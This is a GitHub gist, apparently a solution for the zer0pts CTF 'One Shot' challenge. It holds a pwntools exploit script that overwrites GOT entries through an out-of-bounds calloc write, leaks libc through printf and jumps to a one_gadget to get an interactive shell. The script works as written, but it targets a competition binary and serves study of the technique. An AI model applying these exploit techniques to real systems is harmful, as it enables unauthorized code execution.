Skip to content

Instantly share code, notes, and snippets.

@satoooon8888
Created March 16, 2021 15:53
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save satoooon8888/6b5da75c57aa6db23ca53270f69b0b8f to your computer and use it in GitHub Desktop.
Save satoooon8888/6b5da75c57aa6db23ca53270f69b0b8f to your computer and use it in GitHub Desktop.
zer0pts CTF One Shot writeup
from pwn import *
import sys
import re
context.terminal = "wterminal"
context.arch = "amd64"
def get_io():
if len(sys.argv) > 1 and sys.argv[1] == "debug":
io = gdb.debug(file, command)
elif len(sys.argv) > 1 and sys.argv[1] == "remote":
_, domain, port = nc.split()
io = remote(domain, int(port))
else:
io = process(file)
return io
file = "./chall"
libc = "/lib/x86_64-linux-gnu/libc.so.6"
# libc = "./libc.so.6"
nc = ""
command = '''
b *0x0040080a
c
'''
chall = ELF(file)
libc = ELF(libc)
io = get_io()
# putsをmainに書き替えてループ
io.sendlineafter("n = ", "-1")
io.sendlineafter("i = ", str(chall.got["puts"]//4))
io.sendlineafter("= ", str(chall.sym["main"]))
# exitをcallocの後に向ける
io.sendlineafter("n = ", "-1")
io.sendlineafter("i = ", str(chall.got["exit"]//4))
io.sendlineafter("= ", str(0x004007a8))
# putsをcall exitに向けることでアライメント維持しつつcalloc後でループ
io.sendlineafter("n = ", "-1")
io.sendlineafter("i = ", str(chall.got["puts"]//4))
io.sendlineafter("= ", str(0x0040078d))
# callocをprintfに書き替える (4バイトを二回)
io.sendlineafter("i = ", str(chall.got["calloc"]//4))
io.sendlineafter("= ", str(chall.plt["printf"]))
io.sendlineafter("i = ", str((chall.got["calloc"]+4)//4))
io.sendlineafter("= ", str(0))
# alarmをexitとすり替える
io.sendlineafter("i = ", str(chall.got["alarm"]//4))
io.sendlineafter("= ", str(0x004007a8))
io.sendlineafter("i = ", str((chall.got["alarm"]+4)//4))
io.sendlineafter("= ", str(0))
# putsをcall alarmに向けてexitを自由にする
io.sendlineafter("i = ", str(chall.got["puts"]//4))
io.sendlineafter("= ", str(0x0040082b))
# exitをretに向けて無効化
io.sendlineafter("i = ", str(chall.got["exit"]//4))
io.sendlineafter("= ", str(0x00000000004005ce))
# putsをmainに向けて頭からループ
io.sendlineafter("i = ", str(chall.got["puts"]//4))
io.sendlineafter("= ", str(chall.sym["main"]))
# printf(stdin)でlibc leak
io.sendlineafter("n = ", str(chall.sym["stdout"]))
libc_leak = u64(io.recv(6).ljust(8, b"\x00"))
log.info(f"libc: {libc_leak:x}")
libc.address = libc_leak - libc.sym["_IO_2_1_stdout_"]
log.info(f"libc: {libc.address:x}")
# ここはprintfの返り値の影響でオフセットがおかしくなるので適当にスルー
bss_buf = 0x601200
io.sendlineafter("i = ", str((bss_buf+0x100)//4))
io.sendlineafter("= ", str(0))
# alarmをone gadgetに置き換える nはbssのnullに
one_gadget = 0xe6e79
io.sendlineafter("n = ", str(bss_buf))
io.sendlineafter("i = ", str(chall.got["alarm"]//4))
io.sendlineafter("= ", str((libc.address + one_gadget) & 0xffffffff))
io.sendlineafter("n = ", str(bss_buf))
io.sendlineafter("i = ", str((chall.got["alarm"]+4)//4))
io.sendlineafter("= ", str((libc.address + one_gadget) >> 32))
#
io.sendlineafter("n = ", str(bss_buf))
io.sendlineafter("i = ", str(chall.got["puts"]//4))
io.sendlineafter("= ", str(chall.plt["alarm"]))
io.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment